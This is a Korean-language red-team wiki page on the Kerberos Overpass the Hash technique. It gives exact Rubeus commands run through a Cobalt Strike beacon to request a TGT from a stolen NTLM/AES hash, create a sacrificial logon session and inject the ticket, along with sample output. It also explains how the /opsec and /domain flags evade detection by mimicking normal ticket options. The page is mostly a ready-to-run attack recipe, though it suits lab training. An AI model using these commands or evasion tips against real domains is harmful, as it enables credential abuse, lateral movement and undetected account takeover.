Overpass the Hash

Overpass the Hash는 사용자의 NTLM 혹은 AES 해시를 이용하여 TGT를 요청할 수 있는 기법입니다. 이 기법을 사용하기 위해 Rubeus에는 asktgt가 있습니다.

# 알고리즘을 명시하여 Overpass the Hash 공격
beacon> execute-assembly C:\Tools\Rubeus.exe asktgt /user:<USER> /aes256(ntlm):<Hash> /nowrap /domain:<NetBIOS> /opsec

이렇게 생성한 티켓(Base64 Encoded Ticket)을 통해서 다시 한번 Pass the Ticket이 가능해집니다. Overpass the Hash 기법을 사용하게 되면 일반적인 TGT 요청과 티켓 옵션 값이 상이합니다.

  • 일반적 TGT 요청 : 0x40810010

  • OtH TGT 요청 : 0x40800010

일반적인 요청과 상이한 값은 흔적을 남기게 되고 결국 은닉성에 지장을 줄 수 있습니다. Rubeus에서는 일반적 TGT 요청과 동일한 티켓 옵션을 명시하기 위해 /opsec 플래그를 제공합니다. 일반적인 TGT 요청에서는 영역 이름에 NetBIOS 이름만 들어가는 반면, OtH 기법을 통한 TGT 요청에서는 머신이 속한 도메인의 FQDN을 사용하게 됩니다. 따라서 이것 역시 /domain 플래그를 통해 NetBIOS 이름을 명시하여 탐지를 최소화 합니다.

Practice

# 사용자 NTLM / AES256 해시를 통해 티켓 생성
[05/04 14:12:51] beacon> execute-assembly C:\Tools\Rubeus.exe asktgt /user:wiki/ntlm:9E18CD8F529EC00EE2A834418CB96E8A/nowrap
...
[*] base64(ticket.kirbi):
      <Base64 Encoded Ticket>
...

# 익명 로그인 세션 생성
[05/04 14:14:06] beacon> execute-assembly C:\Tools\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DEV /username:wiki /password:wiki /opsec
...
[*] Using DEV\wiki:wiki
[*] Showing process : False
[*] Username        : wiki
[*] Domain          : DEV
[*] Password        : wiki
[+] Process         : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 24876
[+] LUID            : 0x5075ee

# 익명 로그인 세션에 Base64 Encoded Ticket 삽입
[05/04 14:15:33] beacon> execute-assembly C:\Tools\Rubeus.exe ptt /luid:0x5075ee /ticket:<Base64 Encoded Ticket>
...
[*] Action: Import Ticket
[*] Target LUID: 0x5075ee
[+] Ticket successfully imported!


Last updated

Was this helpful?